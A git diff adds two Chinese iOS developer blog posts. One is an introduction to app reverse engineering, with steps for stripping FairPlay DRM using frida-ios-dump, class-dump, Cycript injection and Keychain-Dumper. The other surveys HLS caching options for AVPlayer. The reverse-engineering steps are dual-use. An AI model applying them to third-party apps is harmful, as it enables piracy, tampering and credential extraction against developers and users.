+> 答案是肯定的!,就算沒真的試驗過;世界上沒有破不了的系統,只有時間成本的問題,當破解耗費的時間精力大於破解成果,那就可以稱為是安全的! + + + +#### How? + +都做到這樣了,那還能怎麼破?就是本篇想記錄的議題 — **「逆向工程 」** ,敲開你的 APP 研究你是怎麼做加解密的;其實一直以來對這個領域都是懵懵懂懂,只在 iPlayground 2019 上聽過兩堂大大的分享,大概知道原理還有怎麼實現,最近剛好有機會玩了一下跟大家分享! +### 逆了向,能幹嘛? +- 查看 APP UI 排版方式、結構 +- 獲取 APP 資源目錄 \.assets/\.plist/icon… +- 竄改 APP 功能重新打包 \(EX: 去廣告\) +- 反編譯推測原始程式碼內容取得商業邏輯資訊 +- dump 出 \.h 標頭檔 / keycahin 內容 + +### 實現環境 + +**macOS 版本:** 10\.15\.3 Catalina +**iOS** **版本:** iPhone 6 \(iOS 12\.4\.4 / 已越獄\) **\*必要** +**Cydia:** Open SSH +#### 越獄的部分 + +任何版本的 iOS、iPhone 都可以,只要是能越獄的設備,建議使用舊的手機或是開發機,以避免不必要的風險;可根據自己的手機、iOS 版本參考 [瘋先生越獄教學](https://mrmad.com.tw/category/jb/jailbreak){:target="_blank"} ,必要時需要將 [iOS 降版](https://mrmad.com.tw/new-ios-downgrade-old-ios){:target="_blank"} ( [認證狀態查詢](https://mrmad.com.tw/ios-firmware){:target="_blank"} )再越獄。 + +我是拿之前的舊手機 iPhone 6 來測試,原本已經升到 iOS 12\.4\.5 了,但發現 12\.4\.5 一直越獄不成功,所幸先降回 12\.4\.4 然後使用 [checkra1n](https://checkra.in/){:target="_blank"} 越獄就成功了! + +步驟不多,也不難;只是需要時間等待! + +**附上一個自己犯蠢的經驗:** 下載完舊版 IPSW 檔案後,手機接上 Mac ,直接使用 Finder 檔案瀏覽器\(macOS 10\.5 後就沒有 iTunes 了\),在左方 Locations 選擇手機,出現手機資訊畫面後, **「Option」按著然後再點「Restore iPhone」** 就能跳出 IPSW 檔案選擇視窗,選擇剛下載下來的舊版 IPSW 檔案就能完成刷機降版。 + + +![](/assets/7498e1ff93ce/1*jlxQNpYPXJ2yrNoYM_Sgwg.png) + + + +> 我本來傻傻的直接按 Restore iPhone…只會浪費時間重刷一次最新版而已…\. + + + + +### 使用 lookin 工具查看別人的 APP UI 排版 + +我們先來點有趣的前菜,使用工具搭配越獄手機查看別人APP 是怎麼排版。 + +查看工具: 一是 老牌 [Reveal](https://revealapp.com/){:target="_blank"} \(功能更完整,需付費約 $60 美金/可試用\),二是騰訊 QMUI Team 製作的 [lookin](https://lookin.work/){:target="_blank"} 免費開源工具;這邊使用 lookin 作為示範,Reveal 大同小異。 + + +> _若沒有越獄手機也沒關係,此工具主要是讓你用在開發中的專案上,查看 Debug 排版(取代 Xcode 陽春的 inspector) **平常開發也能用到** !_ + + +> _**唯有要看別人的 APP 需要使用越獄手機。**_ + + + + +#### 如果要看自己的專案… + +可以選擇使用 [CocoaPods](https://lookin.work/faq/integration-cocoapods/){:target="_blank"} 安裝、 [斷點插入](https://lookin.work/faq/integration-breakpoint/){:target="_blank"} (僅支援模擬器)、 [手動導入Framework 到專案](https://lookin.work/faq/integration-sourcecode/){:target="_blank"} 、 [手動設置](https://lookin.work/faq/integration-manual/){:target="_blank"} ,四種方法。 + +將專案 Build \+ Run 起來之後,就能 **在 Lookin 工具上選擇 APP 畫面** \-> **查看排版結構** 。 + + +![](/assets/7498e1ff93ce/1*DZJ7-gFs8hf9Dxl5FAjHIQ.png) + +#### 如果要看別人的APP… + + +![](/assets/7498e1ff93ce/1*jJ_1bIAPxmqHzu8dAtyYSw.jpeg) + + +**Step 1\.** 在越獄手機上打開「 **Cydia** 」\-> 搜尋「 **LookinLoader** 」\->「 **安裝** 」\-> 回到手機「 **設定** 」\->「 **Lookin** 」\->「 **Enabled Applications** 」\-> **啟用想要查看的 APP** 。 + +**Step 2\.** 使用傳輸線 **將手機連接至 Mac 電腦** \-> **打開想要查看的APP** \-> 回到電腦, **在 Lookin 工具上選擇 APP 畫面** \-> 即可 **查看排版結構** 。 +#### Lookin 查看排版結構 + + +![Facebook 登入畫面排版結構](/assets/7498e1ff93ce/1*qqLRdYwVBbLXj1Rn3iEMEw.png) + +Facebook 登入畫面排版結構 + +可在左側欄檢視 View Hierarchy、右側欄對選中的物件進行動態修改。 + + +![原本的「建立新帳號」被我改成「哈哈哈」](/assets/7498e1ff93ce/1*72YKbJleXjvirZzdvIRSIw.jpeg) + +原本的「建立新帳號」被我改成「哈哈哈」 + +對物件的修改也會實時的顯示在手機 APP 上,如上圖。 + +就如同網頁的「F12」開發者工具,所有的修改僅對 View 有效,不會影響實際的資料;主要是拿來 Debug ,當然也可以用來改值、截圖,然後騙朋友 XD +#### 使用 [Reveal](https://revealapp.com/){:target="_blank"} 工具查看 APP UI 排版結構 + + +![](/assets/7498e1ff93ce/1*vkzR6_y3Y4qCgoVM150Ozg.png) + + +雖然 Reveal 需要付費才能使用,但個人還是比較喜歡 Reveal;在結構顯示上資訊更詳細、右方資訊欄位幾乎等同於 XCode 開發環境,想做什麼即時調整都可以,另外也會提示 Constraint Error 對於 UI 排版修正非常有幫助! + +**這兩個工具在日常開發自己的 APP 上都非常有幫助!** + + +> _了解完流程環境及有趣的部分之後,就讓我們進入正題吧!_ + + +> \*以下開始都需要越獄手機配合 + + + + +### 提取 APP \.ipa 檔案 & 砸殼 + +所有從 App Store 安裝的 APP,其中的 \.ipa 檔案都有 [FairPlay DRM](https://zh.wikipedia.org/wiki/Ipa%E6%96%87%E4%BB%B6){:target="_blank"} 保護 ,俗稱加殼保護/相反的去掉保護就叫「砸殼」,所以單純從 App Stroe 提取 \.ipa 是沒有意義的,也用不了。 + +_\*另一個工具 APP Configurator 2 只能提取有保護的檔案,沒意義就不再贅述,有興趣使用此工具的朋友可以 [點此](https://blog.csdn.net/aa464971/article/details/87955711){:target="_blank"} 查看教學。_ +#### 使用工具\+越獄手機提取砸殼之後的原始 \.ipa 檔案: + +關於工具部分起初我使用的是 [Clutch](https://github.com/KJCracks/Clutch/releases){:target="_blank"} ,但怎麼嘗試都出現 FAILED 查了下專案 issue,發現有很多人有同樣狀況,貌似此工具已經不能在 iOS ≥ 12 使用了、另外還有一個老牌工具 [dumpdecrypted](https://juejin.im/post/5d31e948f265da1bd2612788){:target="_blank"} ,但我沒有研究。 + +這邊使用 [frida\-ios\-dump](https://github.com/AloneMonkey/frida-ios-dump){:target="_blank"} 這個 Python 工具進行動態砸殼,使用起來非常方便! + +**首先我們先準備 Mac 上的環境:** +1. Mac 本身自帶 Python 2\.7 版本,此工具支援 Python 2\.X/3\.X,所以不用在特別安裝 Python;但我是使用 Python 3\.X 進行操作的,如果有遇到 Python 2\.X 的問題,不妨嘗試 [安裝使用 Python 3](https://stringpiggy.hpd.io/mac-osx-python3-multiple-pyenv-install/){:target="_blank"} 吧! +2. 安裝 [pip](https://pip.pypa.io/en/stable/installing/){:target="_blank"} ( Python 的套件源管理器) +3. 使用 pip 安裝 [frida](https://frida.re/){:target="_blank"} : +`sudo pip install frida -upgrade -ignore-installed six` \(python 2\.X\) +`sudo pip3 install frida -upgrade -ignore-installed six` \(python 3\.X\) +4. 在 Terminal 輸入 `frida-ps` 如果沒錯誤訊息代表安裝成功! +5. Clone [AloneMonkey/frida\-ios\-dump](https://github.com/AloneMonkey/frida-ios-dump){:target="_blank"} 這個專案 +6. 進入專案,用文字編輯器打開 dump\.py 檔案 +7. 確認 SSH 連線設定部分是否正確 \(預設不用特別動\) +User = ‘root’ +Password = ‘alpine’ +Host = ‘localhost’ +Port = 2222 + + +**越獄手機上的環境:** +1. 安裝 Open SSH :Cydia → 搜尋 → Open SSH →安裝 +2. 安裝 Frida 源:Cydia → 來源 → 右上角「編輯」 → 左上角「加入」 → [https://build\.frida\.re](https://build.frida.re/){:target="_blank"} +3. 安裝 Frida:Cydia → 搜尋 → Frida → 依照手機處理器版本安裝對應的工具(EX: 我是 iPhone 6 A11,所以是裝 `Frida for pre-A12 devices` 這個工具) + + +**環境都弄好之後,開工:** + +1\.將手機使用 USB 連接到電腦 + +2\.在 Mac 上打開一個 Terminal 輸入 `iproxy 2222 22` ,啟動 Server。 + +3\.確保手機/電腦處於相同網路環境中\(EX: 連同個WiFi\) + +4\.再打開一個 Terminal 輸入 ssh root@127\.0\.0\.1,輸入 SSH 密碼\(預設是 `alpine` \) + + +![](/assets/7498e1ff93ce/1*3X-Wgh0XuNwslF4nSYAGlA.png) + + +5\.再打開一個 Terminal 進行敲殼命令操作,cd 到 clone 下來的 /frida\-ios\-dump 目錄下。 + +輸入 `dump.py -l` 列出手機中已安裝/正在執行的 APP。 + + +![](/assets/7498e1ff93ce/1*FSr_QMRFqMRv9OHjhDDIKQ.png) + + +6\. 找到要敲殼導出的 APP 名稱 / Bundle ID,輸入: + +`dump.py APP名稱或BundleID -o 輸出結果的路徑/輸出檔名.ipa` + +這邊務必指定 **輸出結果的路徑/檔名** ,因為預設輸出路徑會在 `/opt/dump/frida-ios-dump/` 這邊不想把它搬到 `/opt/dump` 中,所以要指定輸出路徑避免權限錯誤。 + +7\. 輸出成功後就能取得已敲殼的 \.ipa 檔案! + + +![](/assets/7498e1ff93ce/1*T49RwSRIcgO26pihxEu3BQ.png) + +- 手機必須在解鎖情況下才能使用工具 +- 若出現連線錯誤、reset by peer…等原因,可嘗試拔掉重插 USB 連接、重開 iproxy。 + + +7\.將 \.ipa 檔直接重新命名成 \.zip 檔,然後直接右鍵解壓縮檔 + +會出現 `/Payload/APP名稱.app` +### 有了原始 APP 檔後我們可以… +#### 1\. 提取 APP 的資源目錄 + +在 APP名稱\.app 右鍵 → 「Show Package Contents」就能看到 APP 的資源目錄 + + +![](/assets/7498e1ff93ce/1*YtQO1injuB8eH2wXQJ2ktw.png) + +#### 2\. class\-dump 出 APP \.h頭文件訊息 + +使用 class\-dump 工具導出全 APP \(包含 Framework\) \.h 頭文件訊息 \(僅限 Objective\-C,若專案為 Swift 則無效\) + +[_nygard/class\-dump_](https://github.com/nygard/class-dump){:target="_blank"} _大大的工具我嘗試失敗,一直 failed;最後還是一樣使用 [AloneMonkey](https://github.com/AloneMonkey){:target="_blank"} / [MonkeyDev](https://github.com/AloneMonkey/MonkeyDev){:target="_blank"} 大大的工具集中改寫過的 class\-dump 工具才成功。_ +- 直接從這裡 Download [MonkeyDev/bin/class\-dump](https://github.com/AloneMonkey/MonkeyDev/blob/master/bin/class-dump){:target="_blank"} 工具 +- 打開 Terminal 直接使用: +`./class-dump -H APP路徑/APP名稱.app -o 匯出的目標路徑` + + + +![](/assets/7498e1ff93ce/1*crdnoYeF6fnSqm79wZNFiw.png) + + +dump 成功之後就能獲取到整個 APP 的 \.h 資訊。 +#### 4\. 最後也是最困難的 — 進行反編譯 + +可以使用 [IDA](https://www.hex-rays.com/products/ida/support/links.shtml){:target="_blank"} 和 [Hopper](https://www.hopperapp.com/){:target="_blank"} 反編譯工具進行分析使用,兩款都是收費工具, [Hopper](https://www.hopperapp.com/){:target="_blank"} 可免費試用\(每次 30 分鐘\) + +我們將取得的 APP名稱\.app 檔案直接拉到 Hopper 即可開始進行分析。 + + +![](/assets/7498e1ff93ce/1*8LrtLlE2adXLZi5-MDQ20A.png) + + +不過我也就止步於此了,因為從這開始就要研究機器碼、搭配 class\-dump 結果推測方法…等等;需要非常深入的功力才行! + +突破反編譯後,可以自行竄改運作重新打包成新的 APP。 + + +![圖片取自航海王](/assets/7498e1ff93ce/1*6MhDQU2llMbYPb2j5GqxZg.jpeg) + +圖片取自航海王 +### 逆向工程的其他工具 + +**1\. [使用 MITM Proxy 免費工具嗅探 API 網路請求資訊](../46410aaada00/)** + + +![](/assets/7498e1ff93ce/1*qSYBzTz0nW0LoJ4HkiDPfA.png) + + + +> [>>APP有用HTTPS傳輸,但資料還是被偷了。](../46410aaada00/) + + + + +**2\.Cycript \(搭配越獄手機\) 動態分析/注入工具:** +- 在越獄手機上打開「Cydia」\-> 搜尋「Cycript」\->「安裝」 +- 在電腦打開一個 Terminal 使用 Open SSH 連線至手機, `ssh root@手機IP` \(預設是 `alpine` \) +- 打開目標 APP \(APP 保持在前景\) +- 在 Terminal 輸入 `ps -e | grep APP Bundle ID` 查找正在運行的 APP Process ID +- 使用 `cycript -p Process ID` 注入工具到正在運行的 APP + + +可使用 Objective\-c/Javascript 進行調試控制。 + + +![](/assets/7498e1ff93ce/1*6JRXWaSGNIvqUpKE_tbB1A.png) + + +**For Example:** +``` +cy# alert = [[UIAlertView alloc] initWithTitle:@"HIHI" message:@"ZhgChg.li" delegate:nil cancelButtonTitle:@"Cancel" otherButtonTitles:nl] +cy# [alert show] +``` + + +![注入一個 UIAlertViewController…](/assets/7498e1ff93ce/1*SFB5gBgYGGcAb93VioIUrA.png) + +注入一個 UIAlertViewController… +- **chose\( \)** : 獲取目標 +- **UIApp\.keyWindow\.recursiveDescription\( \) \.toString\( \)** : 顯示 view hierarchy 結構資訊 +- **new Instance\(記憶體位置\):** 獲取物件 +- **exit\(0\)** : 結束 + + +詳細操作可參考 [此篇文章](https://sevencho.github.io/archives/c12f47b1.html){:target="_blank"} 。 + +**3\. [Lookin](https://lookin.work/){:target="_blank"} / [Reveal](https://revealapp.com/){:target="_blank"} 查看 UI 排版工具** + +前面介紹過,再推一次;在自己的專案日常開發上也非常好用,建議購買使用 Reveal。 + +**4\. [MonkeyDev 集成工具](http://huni.me/2018/08/12/MonkeyDev/){:target="_blank"} ,可透過動態注入竄改 APP 並重新打包成新的 APP** + +**5\. [ptoomey3](https://github.com/ptoomey3){:target="_blank"} / [Keychain\-Dumper](https://github.com/ptoomey3/Keychain-Dumper){:target="_blank"} ,導出 KeyChain 內容** + +詳細操作請參考 [此篇文章](https://sevencho.github.io/archives/65ed9c65.html){:target="_blank"} ,不過我沒試成功,看專案 issue 貌似也是在 iOS ≥ 12 之後就失效了。 +### 總結 + +這個領域是個超級大坑,需要非常多的技術知識基礎才有可能精通;本篇文章只是粗淺了「體驗」了一下逆向工程是什麼感覺,如有不足敬請見諒! **僅供學術研究,勿做壞壞的事** ;個人覺得整個流程工具玩下來蠻有趣的,也對 APP 安全更有點概念! + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B%E5%88%9D%E9%AB%94%E9%A9%97-7498e1ff93ce){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-04-08-d796bf8e661e.md b/_posts/zmediumtomarkdown/2020-04-08-d796bf8e661e.md new file mode 100644 index 000000000..0af4dae5d --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-04-08-d796bf8e661e.md @@ -0,0 +1,230 @@ +--- +title: "iOS HLS Cache 實踐方法探究之旅" +author: "ZhgChgLi" +date: 2020-04-08T17:12:17.716+0000 +last_modified_at: 2024-04-13T08:09:26.884+0000 +categories: "ZRealm Dev." +tags: ["hls","ios","ios-app-development","cache","reverse-proxy"] +description: "使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Caching 的功能" +image: + path: /assets/d796bf8e661e/1*x_Js63o52qJMmYHKIuKF7A.jpeg +render_with_liquid: false +--- + +### iOS HLS Cache 實踐方法探究之旅 + +使用 AVPlayer 播放 m3u8 串流影音檔時如何做到邊播放邊 Cache 的功能 + + + +![photo by [Mihis Alex](https://www.pexels.com/zh-tw/@mcraftpix?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"}](/assets/d796bf8e661e/1*x_Js63o52qJMmYHKIuKF7A.jpeg) + +photo by [Mihis Alex](https://www.pexels.com/zh-tw/@mcraftpix?utm_content=attributionCopyText&utm_medium=referral&utm_source=pexels){:target="_blank"} +#### \[2023/03/12\] Update +- 下篇「 [AVPlayer 實踐本地 Cache 功能大全](../6ce488898003/) 」教您實現 AVPlayer Caching + + + +[![](https://repository-images.githubusercontent.com/612890185/346ae563-7278-4518-a19b-f5d367e60adc)](https://github.com/ZhgChgLi/ZPlayerCacher){:target="_blank"} + + +我將之前的實作開源了,有需求的朋友可直接使用。 +- 客製化 Cache 策略,可以用 PINCache or 其他… +- 外部只需呼叫 make AVAsset 工廠,帶入 URL,則 AVAsset 就能支援 Caching +- 使用 Combine 實現 Data Flow 策略 +- 寫了一些測試 + +### 關於 + +HTTP Live Streaming \(簡稱HLS\) 是蘋果提出基於HTTP的串流媒體網絡傳輸協議。 + +以播放音樂來說,非串流情況下我們使用 mp3 作為音樂檔,這個檔案有多大就要花多久時間全部下載下來才能播放;而 HLS 就是把一個檔案分割成多個小檔案,讀到哪播到哪,所以拿到第一個分割區塊就能開始播放,不用整個都下載完! + +`.m3u8` 檔就是紀錄這些分割的 `.ts` 小檔案的碼率、播放順序、時間 還有整個音訊的資訊,另外也可以做加解密保護、低延遲直播…等等 + +`.m3u8` 檔範例\(aviciiwakemeup\.m3u8\): +```plaintext +#EXTM3U +#EXT-X-VERSION:3 +#EXT-X-ALLOW-CACHE:YES +#EXT-X-TARGETDURATION:10 +#EXT-X-MEDIA-SEQUENCE:0 +#EXTINF:9.900411, +aviciiwakemeup–00001.ts +#EXTINF:9.900400, +aviciiwakemeup–00002.ts +#EXTINF:9.900411, +aviciiwakemeup–00003.ts +#EXTINF:9.900411, +. +. +. +#EXTINF:6.269389, +aviciiwakemeup-00028.ts +#EXT-X-ENDLIST +``` + +_\*EXT\-X\-ALLOW\-CACHE 已在 [iOS≥ 8/Protocol Ver\.7 deprecated](https://developer.apple.com/documentation/http_live_streaming/about_the_ext-x-version_tag?language=objc){:target="_blank"} ,有沒有這行都沒有用意義了。_ +### 目標 + +對於一個影音串流服務, **Cache 非常之重要** ;因為每個音訊檔案小則 MB 大則幾 GB ,如果每次重播都要再從伺服器拉一次檔案,對 Server 的 Loading 來說非常吃力,而且流量都是 $$$$ ,如果有個 Cache 層能為服務節省許多金錢,對使用者來說也不用浪費網路、浪費時間重新下載;是一個雙贏的機制 \(但要記得設定上限/定時清除,避免把使用者的設備塞爆\)。 +### 問題 + +以往非串流時 mp3/mp4 沒什麼好處理的,就是在播放前先下載到設備上,下載完成才開始播放;反正不管怎樣都要載完才能播,那不如我們自己用 URLSession 下載完檔案後再餵 file:// 下載在本地的檔案路徑給 AVPlayer 做播放即可;或正規方式,使用 AVAssetResourceLoaderDelegate 在 Delegate 方法中對下載的資料進行 Cache 緩存。 + +遇到串流想法其實也很直白,就是先讀 `.m3u8` 檔,然後在解析裡面的資訊,對每個 `.ts` 檔做 Cache 即可;但實作發現事情沒有這麼簡單,處理難度超乎我的想像,所以才會有此篇文章! + +播放部分我們一樣直接使用 iOS AVFoundation 的 AVPlayer,在操作上串流/非串流檔案沒有差異。 + +**Example:** +```swift +let url:URL = URL(string:"https://zhgchg.li/aviciiwakemeup.m3u8") +var player: AVPlayer = AVPlayer(url: url) +player.play() +``` +### **2021–01–05 更新:** + +我們退而求其次退回去使用 mp3 檔,這樣就能直接使用 `AVAssetResourceLoaderDelegate` 進行實作,詳細實作可參考「 [AVPlayer 邊播邊 Cache 實戰](../ee47f8f1e2d2/) 」。 +### 實踐方案 + +針對我們的目標能達成的幾個方案及實踐時遇到的問題。 +#### 方案 1\. AVAssetResourceLoaderDelegate ❌ + +第一個想法就是,那我們就照 mp3/mp4 時的做法就好啦!一樣用 AVAssetResourceLoaderDelegate 在 Delegate 方法中緩存 `.ts` 檔案。 + +不過很抱歉,此路不通,因為無法在 Delegate 中攔截到 `.ts` 檔案的下載請求資訊,可以在這則 [問答](https://stackoverflow.com/questions/29752028/unknown-error-12881-when-using-avassetresourceloader/30239876#30239876){:target="_blank"} 和 [官方文件](https://developer.apple.com/library/archive/technotes/tn2232/_index.html#//apple_ref/doc/uid/DTS40012884-CH1-SECHTTPLIVESTREAMING){:target="_blank"} 上確切此事。 + +AVAssetResourceLoaderDelegate 實作可參考「 [AVPlayer 邊播邊 Cache 實戰](../ee47f8f1e2d2/) 」。 +#### 方案 2\.1 URLProtocol 攔截請求 ❌ + +URLProtocol 也是最近才學到的方法,所有基於 `URL Loading System` 的請求 \(URLSession、Call API、下載圖片…\) 都可以被我們攔截下來修改 Request、Response 然後再返回,一切就像沒發生一樣,偷偷來;關於 URLProtocol 可以參考 [此篇文章](https://www.jianshu.com/p/fbe57730d3e1){:target="_blank"} 。 + +應用此方法,我們打算攔截 AVFoundation AVPlayer 在要求 `.m3u8` 、 `.ts` 的請求時,攔截下來然後如果本地有 Cache 就直接返回 Cache Data,沒有則再真的再發 Request 出去;這樣也能達到我們的目標。 + +一樣,很抱歉,此路也不通;因為 AVFoundation AVPlayer 的請求不是在 `URL Loading System` 上,我們無從攔截。 +_\*有一說是 模擬器上可以但實機上不行_ +#### 方案 2\.2 暴力讓他能進 URLProtocol ❌ + +根據 方案 2\.1 腦洞大開的暴力法,如果我把請求網址換成一個自訂的 Scheme \(EX: streetVoiceCache://\),因 AVFoundation 無法處理這個請求,所以會丟出來,這樣我們的 URLProtocol 就能攔截到,做我們想做的事。 +```swift +let url:URL = URL(string:"streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https") +var player: AVPlayer = AVPlayer(url: url) +player.play() +``` + +URLProtocol 會攔截到 `streetVoiceCache://zhgchg.li/aviciiwakemeup.m3u8?originSchme=https` ,這時我們只要幫他還原成原來的網址,然後發個 URLSession 去要資料就能在這邊自己做 Cache;m3u8 中的 `.ts` 檔案請求一樣也會被 URLProtocol 攔截到,一樣我們能在這自己做 Cache。 + +一切看似都那麼完美,但當我興高采烈的 Build\-Run 完 APP 後,蘋果直接搧了我一巴掌: + +`Error: 12881 “CoreMediaErrorDomain custom url not redirect”` + +他不吃我給 `.ts` 檔案 Request 的 Response Data,我只能用 `urlProtocol:wasRedirectedTo` 這個方法 redirectTo 原始 Https 請求才能正常播放,即使我把 `.ts` 檔案下載到本地然後 redirectTo 那個 file:// 檔案;他也不接受,查 [官方論壇](https://forums.developer.apple.com/thread/30833){:target="_blank"} 得到答案就是不能這樣做; `.m3u8` 只能是來源於 Http/Https \(所以即使你把整個 `.m3u8` 還有所有分割檔 `.ts` 都放在本地,有無法使用 file:// 給 AVPlayer播放\),另外 `.ts` 也不能使用 URLProtocol 自行給予 Data。 + +`fxxk…` +#### 方案 2\.2–2 同方案 2\.2 但是搭配 方案 1 AVAssetResourceLoaderDelegate 來實現 ❌ + +實作方式如方案 2\.2 ,餵給 AVPlayer 自訂的 Scheme 讓他進 AVAssetResourceLoaderDelegate;然後我們在自己處理。 + +同 2\.2 結果: + +`Error: 12881 “CoreMediaErrorDomain custom url not redirect”` + +[官方論壇](https://forums.developer.apple.com/thread/113063){:target="_blank"} 同樣的回答。 + +可以拿來做解密處理\(可以參考 [此篇文章](https://medium.com/@marslin_dev/how-to-play-aes-encrypted-video-with-airplay-2-82a353044f40){:target="_blank"} 或 [此範例](https://www.jianshu.com/p/2c2cbe173e99){:target="_blank"} \)但還是無法實現 Cache 功能。 +#### 方案 3\. Reverse Proxy Server ⍻ \(可行,但非完美\) + +這個方法是在找如何處理 HLS Cache 時,最多人給的答案;就是在 APP 上起一個 HTTP Server 做 Reverse Proxy Server 服務。 + +原理也很簡單,APP 上 On 一個 HTTP Server 假設是 8080 Port,網址就會是 `http://127.0.0.1:8080/` ;然後我們可以對連進來的 Request 做處理,給出 Response。 + +套用到我們的案例就是,把請求網址換成: + `http://127.0.0.1:8080/aviciiwakemeup.m3u8?origin=http://zhgchg.li/` + +在 HTTP Server 的 Handler 上對 `*.m3u8` 攔截處理,這時有 Request 進來就會進到我們的 Handler 中,看我們想幹嘛就幹嘛,想 Response 什麼 Data 都是我們自己控制, `.ts` 檔同樣會進來;這邊就可以做我們想做的 Cache 機制。 + +對 AVPlayer 來說就是個 http://\.m3u8 的標準串流音訊檔,所以不會有任何問題。 + +**完整實作範例可參考:** + + +[![](https://opengraph.githubassets.com/f82feda77c302ecf87673688fe78a46bccc4669783dda9b10093ecb5382f9895/StyleShare/HLSCachingReverseProxyServer)](https://github.com/StyleShare/HLSCachingReverseProxyServer/blob/master/Sources/HLSCachingReverseProxyServer/HLSCachingReverseProxyServer.swift){:target="_blank"} + + +因為我也是參考此範例做的,所以 Local HTTP Server 的部分我也是使用 [GCDWebServer](https://github.com/swisspol/GCDWebServer){:target="_blank"} ,另外還有更新的 [Telegraph](https://github.com/Building42/Telegraph){:target="_blank"} 可以使用。\( [CocoaHttpServer](https://github.com/robbiehanson/CocoaHTTPServer){:target="_blank"} 太久沒更新就不推薦用了\) + +**看起來不錯!但有個問題:** + +我們的服務是音樂串流而非影音播放平台,音樂串流很多時候使用者都是在背景執行音樂切換的;這時候 Local HTTP Server 還會在?? + +GCDWebServer 的說明是當進入背景時會自動斷線、回前景自動恢復,但可以透過設置參數 `GCDWebServerOption_AutomaticallySuspendInBackground:false` 不讓他有這個機制。 + +但是實測如果一段時間沒有發送請求 Server 還是會斷線 \(且狀態會是錯的,還是 isRunning\) 感覺就是被系統砍了;深掘了 [HTTP Server 的做法](https://izeeshan.wordpress.com/2014/08/25/local-http-server-for-ios/){:target="_blank"} 後發現底層都是基於 socket,查了 [官方對 socket 服務的文件](https://developer.apple.com/library/archive/technotes/tn2277/_index.html){:target="_blank"} 後,此缺陷是無法解決的,本來在背景下沒有新的連接時就會被系統暫停。 + +_\*網路上有找到很繞的方法…就是發個長請求、或不斷發空的請求確保 Server 在背景不會被系統暫停掉。_ + +以上都是針對 APP 在背景的狀況,在前景時 Server 很穩,也不會因為閒置被暫停,沒這問題! + +**是說畢竟是依賴在其他服務上,開發環境測試沒問題,實際應用也建議要接個 rollback 處理\(AVPlayer\.AVPlayerItemFailedToPlayToEndTimeErrorKey 通知\);否則有個萬一服務掛掉,使用者會卡死。** + +`所以說不完美啊…` +#### 方案 4\. 使用 HTTP Client 本身的 caching 機制 ❌ + +我們的 `.m3u8/.ts` 檔的 Response Headers 都有給予 `Cache-Control` 、 `Age` 、 `eTag` … 這些 HTTP Client Cache 資訊;我們的網站 Cache 機制在 Chrome 上使用也完全沒問題,另外也在官方新的針對 [Protocol Extension for Low\-Latency HLS \(低延遲HLS\)](https://developer.apple.com/documentation/http_live_streaming/protocol_extension_for_low-latency_hls_preliminary_specification){:target="_blank"} 初步規格文件中提到 Cache 的地方也看到可以設定 cache\-control headers 來做緩存。 + + +![](/assets/d796bf8e661e/1*vyvVp1sf9Hbtb_nWiLXYEg.png) + + +但實際 AVFoundation AVPlayer 並沒有任何 HTTP Client Caching 效果,此路也不通!單純癡人說夢。 +#### 方案 5\. 不使用 AVFoundation AVPlayer 播放音訊檔 ✔ + +自己實現音訊檔解析、緩存、編碼、播放功能。 + +**太硬核了,需要很深的技術能力及大量時間;沒研究。** + +附上一個網路開源播放器做參考: [FreeStreamer](https://github.com/muhku/FreeStreamer){:target="_blank"} ,真要選擇此方案不如站在巨人的肩膀上,直接用第三方套件了。 +#### 方案 5–1\. 不使用 HLS + +同方案 5 , **太硬核了,需要很深的技術能力及大量時間;沒研究。** +#### 方案 6\. 將 \.ts 分割檔轉成 \.mp3/\.mp4 檔案 ✔ + +沒研究,但的確可行;不過想起來就覺得複雜,要處理已下載的 `.ts` 檔案,個別轉成 \.mp3 或 \.mp4 檔案然後照順序播放、或是壓縮成一個檔案什麼的,想起來就不太好做。 + +有興趣可參考 [此篇文章](https://github.com/xyqjay/m3u8ToMP4){:target="_blank"} 。 +#### 方案 7\. 下載完整檔案後再播放 ⍻ + +這個方法不能確切叫邊播邊 Cache,實際是載下整個音訊檔案的內容,然後才開始播放;如果是 `.m3u8` 如同方案 2\.2 提到的,不能直接載下來放在本地播放。 + +要實作的話要用到 iOS ≥ 10 的 API `AVAssetDownloadTask.makeAssetDownloadTask` ,實際會將 \. `m3u8` 打包成 **`.movpkg`** 放在本地,供使用者播放。 + +**這邊比較像是做離線播放而非做 Cache 的功能。** + +另外使用者也能從「設定」\->「一般」\->「iPhone 儲存空間」\-> APP 中查看、管理已下載打包的音訊檔案。 + + +![下方 已下載的影片 部分](/assets/d796bf8e661e/1*_YNIdy8NRkhVdeDTNvXzxA.jpeg) + +下方 已下載的影片 部分 + +**詳細實作可參考此範例:** + + +[![](https://opengraph.githubassets.com/a2ceae202336428494e5cd51b78cfbba3d139c135eaf232b4d2dffd2a7673eba/zhonglaoban/HLS-Stream)](https://github.com/zhonglaoban/HLS-Stream){:target="_blank"} + +### 結語 + +以上的探索路程大概花了快一整週,繞來繞去、快要喪心病狂了;目前還沒有一個可靠的、容易部署的方法。 + +如果有新的想法再來更新\! +#### 參考資料 +- [iOS音频播放 \(九\):边播边缓存](http://msching.github.io/blog/2016/05/24/audio-in-ios-9/){:target="_blank"} +- [StyleShare/HLSCachingReverseProxyServer](https://github.com/StyleShare/HLSCachingReverseProxyServer){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/ios-hls-cache-%E5%AF%A6%E8%B8%90%E6%96%B9%E6%B3%95%E6%8E%A2%E7%A9%B6%E4%B9%8B%E6%97%85-d796bf8e661e){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-04-20-99db2a1fbfe5.md b/_posts/zmediumtomarkdown/2020-04-20-99db2a1fbfe5.md new file mode 100644 index 000000000..6b8db2763 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-04-20-99db2a1fbfe5.md @@ -0,0 +1,1279 @@ +--- 